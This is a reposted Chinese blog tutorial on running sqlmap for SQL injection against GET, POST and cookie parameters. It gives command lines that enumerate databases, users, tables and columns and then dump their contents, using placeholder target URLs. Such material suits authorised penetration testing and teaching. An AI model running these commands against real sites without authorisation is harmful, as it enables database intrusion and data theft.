利用sqlmap实现基本的SQL注入

SQLMap使用指南
本文详细介绍如何使用SQLMap进行GET、POST及COOKIE类型的SQL注入攻击测试,包括枚举数据库、获取当前数据库、用户名、表和字段信息及数据导出等操作。

注入基本上可分为以下三种:
1.get类:sqlmap -u "http://xxx?x=xx"
2.post: sqlmap -r "xxx.txt"
3.cookie类: sqlmap -u "http://xxx?x=xx" –cookie="x=xx&y=yy" --level=2


一 get

1,枚举数据库:sqlmap -u "http://xxx?x=xx" --dbs


2,获取当前数据库:sqlmap -u "http://xxx?x=xx" --current-db


3,获取当前用户名:sqlmap -u "http://xxx?x=xx" --current-user


4,枚举表: sqlmap -u "http://xxx?x=xx" -D "库名" --tables


5,枚举字段:sqlmap -u "http://xxx?x=xx" -D "库名" -T "表名" --columns


6,数据dump:sqlmap -u "http://xxx?x=xx" -D "库名" -T "表名" --dump

    或者dump指定列:sqlmap -u "http://xxx?x=xx" -D "库名" -T "表名" -C "xx,yy,zz" --dump


二 post

    一般来说,要进行post注入,首先要用burpsuite等工具将要注入的post表单提取出来保存在一个txt文档中,然后开始注入

    枚举数据库:sqlmap -r "xxx.txt" --dbs

    (PS:其他和get型一样)


三 cookie类 

    因为默认情况下sqlmap只支持get/post参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie时面的参数,当>=3的时候将检查User-agent和Referer,因此要进行cookie注入,直接在后面加上 --level 2 即可

     枚举数据库sqlmap -u "http://xxx?x=xx" –cookie="x=xx&y=yy" --level=2 --dbs


四 其他一些常用的参数

    --threads 多线程,可以让sqlmap跑得更快

    eg: sqlmap -u "http://xxx?x=xx" --threads 10 --dbs


    -p 手动指定注入参数

    eg: sqlmap -u "http://xxx?x=xx" -p "id" --threads 10 --dbs


    --dbms 指定注入的数据库管理系统,当已知目标的数据库管理系统时使用

    eg: sqlmap -u "http://xxx?x=xx" -p "id" --dbms "MYSQL" --threads 10 --dbs




本文转自 pangfc 51CTO博客,原文链接:http://blog.51cto.com/983836259/1631717,如需转载请自行联系原作者

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值